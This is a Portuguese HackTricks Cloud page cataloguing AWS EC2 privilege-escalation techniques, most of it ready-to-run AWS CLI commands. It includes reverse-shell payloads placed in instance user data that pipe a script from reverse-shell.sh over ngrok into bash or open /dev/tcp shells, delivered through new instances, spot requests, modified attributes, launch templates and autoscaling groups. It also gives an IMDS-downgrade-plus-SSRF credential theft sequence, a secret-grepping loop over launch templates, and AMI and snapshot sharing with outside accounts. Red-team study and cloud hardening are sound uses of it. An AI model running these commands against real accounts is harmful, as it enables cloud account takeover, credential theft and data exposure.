AWS - EC2 Privesc
Reading time: 14 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
EC2
Para mais informações sobre EC2 verifique:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
iam:PassRole, ec2:RunInstances
Um atacante poderia criar uma instância anexando um IAM role e então acessar a instância para roubar as credenciais do IAM role do endpoint de metadata.
- Acesso via SSH
Execute uma nova instância usando uma ssh key criada (--key-name) e então faça ssh nela (se quiser criar uma nova você pode precisar da permissão ec2:CreateKeyPair).
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- Acesso via rev shell em user data
Você pode iniciar uma nova instância usando user data (--user-data) que irá enviar um rev shell para você. Você não precisa especificar security group dessa forma.
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
Tenha cuidado com GuradDuty se você usar as credenciais da IAM role fora da instância:
Impacto Potencial: Privesc direto para qualquer EC2 role anexada a instance profiles existentes.
Privesc para ECS
Com esse conjunto de permissões você também poderia criar uma EC2 instance e registrá-la dentro de um ECS cluster. Dessa forma, ECS serviços serão executados dentro da EC2 instance onde você tem acesso e então você pode penetrate those services (docker containers) e steal their ECS roles attached.
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
Para aprender como forçar ECS services a serem executados nesta nova EC2 instance verifique:
Se você não pode criar uma nova instância mas tem a permissão ecs:RegisterContainerInstance você pode ser capaz de registrar a instância dentro do cluster e executar o ataque comentado.
Impacto Potencial: Privesc direto para ECS roles anexadas às tasks.
iam:PassRole, iam:AddRoleToInstanceProfile
Semelhante ao cenário anterior, um atacante com essas permissões poderia alterar a IAM role de uma instância comprometida para poder roubar novas credenciais.
Como um instance profile pode ter apenas 1 role, se o instance profile já tiver uma role (caso comum), você também precisará de iam:RemoveRoleFromInstanceProfile.
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
Se o instance profile tiver um role e o atacante não puder removê-lo, existe outra alternativa. Ele poderia encontrar um instance profile sem role ou criar um novo (iam:CreateInstanceProfile), adicionar o role àquele instance profile (como discutido anteriormente), e associar o instance profile comprometido a uma instância comprometida:
- Se a instância não tiver nenhum instance profile (
ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
Impacto Potencial: privesc direto para uma role EC2 diferente (é necessário ter comprometido uma instância AWS EC2 e possuir permissões extras ou um status específico do instance profile).
iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)
Com essas permissões é possível alterar o instance profile associado a uma instância, então se o atacante já tiver acesso à instância ele poderá roubar credenciais de roles de instance profile adicionais alterando o instance profile associado.
- Se ela possui um instance profile, você pode remover o instance profile (
ec2:DisassociateIamInstanceProfile) e associá-lo
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
- ou substituir o instance profile da instância comprometida (
ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
Impacto Potencial: privesc direto para um EC2 role diferente (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou status específico do instance profile).
ec2:RequestSpotInstances,iam:PassRole
Um atacante com as permissões ec2:RequestSpotInstancesandiam:PassRole pode solicitar uma Spot Instance com uma EC2 Role attached e um rev shell no user data.
Uma vez que a instance seja executada, ele pode roubar a IAM role.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
ec2:ModifyInstanceAttribute
Um atacante com o ec2:ModifyInstanceAttribute pode modificar os atributos das instâncias. Entre eles, ele pode change the user data, o que implica que pode fazer a instância run arbitrary data. Isso pode ser usado para obter um rev shell to the EC2 instance.
Observe que os atributos só podem ser modified while the instance is stopped, portanto são necessárias as permissões ec2:StopInstances e ec2:StartInstances.
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
Impacto Potencial: privesc direto para qualquer EC2 IAM Role anexada a uma instância criada.
ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate
Um atacante com as permissões ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate pode criar uma nova Launch Template version com um rev shell in o user data e qualquer EC2 IAM Role on it, alterar a default version, e qualquer Autoscaler group using esse Launch Template que esteja configured para usar a latest ou a default version irá re-run the instances usando esse template e executará o rev shell.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
Impacto Potencial: Privesc direto para um EC2 role diferente.
(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)
Um atacante com as permissões autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole pode criar uma Launch Configuration com um IAM Role e um rev shell dentro do user data, então criar um autoscaling group a partir dessa configuração e esperar que o rev shell roube o IAM Role.
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
Impacto Potencial: Privesc direto para uma role EC2 diferente.
!autoscaling
O conjunto de permissões ec2:CreateLaunchTemplate e autoscaling:CreateAutoScalingGroup não é suficiente para escalar privilégios para uma IAM role porque, para anexar a role especificada na Launch Configuration ou na Launch Template, você precisa das permissões iam:PassRole e ec2:RunInstances (que é um privesc conhecido).
ec2-instance-connect:SendSSHPublicKey
Um atacante com a permissão ec2-instance-connect:SendSSHPublicKey pode adicionar uma ssh key a um usuário e usá‑la para acessá‑lo (se tiver acesso ssh à instância) ou para escalar privilégios.
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
Impacto Potencial: Privesc direto aos EC2 IAM roles anexados às instâncias em execução.
ec2-instance-connect:SendSerialConsoleSSHPublicKey
Um atacante com a permissão ec2-instance-connect:SendSerialConsoleSSHPublicKey pode adicionar uma chave ssh a uma conexão serial. Se a console serial não estiver habilitada, o atacante precisa da permissão ec2:EnableSerialConsoleAccess para habilitá-la.
Para conectar-se à porta serial você também precisa saber o nome de usuário e a senha de um usuário dentro da máquina.
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
Este método não é muito útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo.
Impacto Potencial: (Altamente difícil de provar) Privesc direto para os EC2 IAM roles anexados às instâncias em execução.
describe-launch-templates,describe-launch-template-versions
Como os launch templates têm versionamento, um atacante com permissões ec2:describe-launch-templates e ec2:describe-launch-template-versions poderia explorá-los para descobrir informações sensíveis, como credenciais presentes em user data. Para isso, o script a seguir percorre todas as versões dos launch templates disponíveis:
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
Nos comandos acima, embora estejamos especificando certos padrões (aws_|password|token|api), você pode usar uma regex diferente para procurar outros tipos de informações sensíveis.
Assumindo que encontremos aws_access_key_id e aws_secret_access_key, podemos usar essas credenciais para autenticar na AWS.
Impacto potencial: Escalada direta de privilégios para usuário(s) IAM.
Referências
ec2:ModifyInstanceMetadataOptions (rebaixamento do IMDS para permitir SSRF e roubo de credenciais)
Um atacante com a capacidade de chamar ec2:ModifyInstanceMetadataOptions em uma instância EC2 vítima pode enfraquecer as proteções do IMDS ao habilitar o IMDSv1 (HttpTokens=optional) e aumentar o HttpPutResponseHopLimit. Isso torna o endpoint de metadata da instância alcançável via caminhos comuns de SSRF/proxy a partir de aplicações executando na instância. Se o atacante conseguir disparar um SSRF em tal app, ele pode recuperar as credenciais do instance profile e pivotar com elas.
- Permissões requeridas:
ec2:ModifyInstanceMetadataOptionsna instância alvo (além da capacidade de alcançar/acionar um SSRF no host). - Recurso alvo: A instância EC2 em execução com um instance profile anexado (IAM role).
Exemplo de comandos:
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'
# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled
# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity
# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
Impacto potencial: Roubo das credenciais do instance profile via SSRF, levando a privilege escalation e lateral movement com as permissões do role EC2.
ec2:ModifyInstanceMetadataOptions
Um atacante com a permissão ec2:ModifyInstanceMetadataOptions pode enfraquecer as proteções do Instance Metadata Service (IMDS) — por exemplo forçando IMDSv1 (tornando HttpTokens não obrigatórios) ou aumentando HttpPutResponseHopLimit — facilitando assim a exfiltration de credenciais temporárias. O vetor de risco mais relevante é aumentar HttpPutResponseHopLimit: ao elevar esse limite de hops (TTL), o endpoint 169.254.169.254 deixa de estar estritamente limitado ao namespace de rede da VM e pode tornar‑se alcançável por outros processos/containers, permitindo credential theft.
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2
ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute
Um atacante com as permissões ec2:ModifyImageAttribute e ec2:ModifySnapshotAttribute pode compartilhar AMIs ou snapshots com outras contas AWS (ou até torná-los públicos), expondo imagens ou volumes que podem conter dados sensíveis, como configurações, credenciais, certificados ou backups. Ao modificar as permissões de inicialização de uma AMI ou as permissões de criação de volume de um snapshot, o atacante permite que terceiros iniciem instâncias ou montem discos a partir desses recursos e acessem seus conteúdos.
Para compartilhar uma AMI com outra conta:
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Para compartilhar um EBS snapshot com outra conta:
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud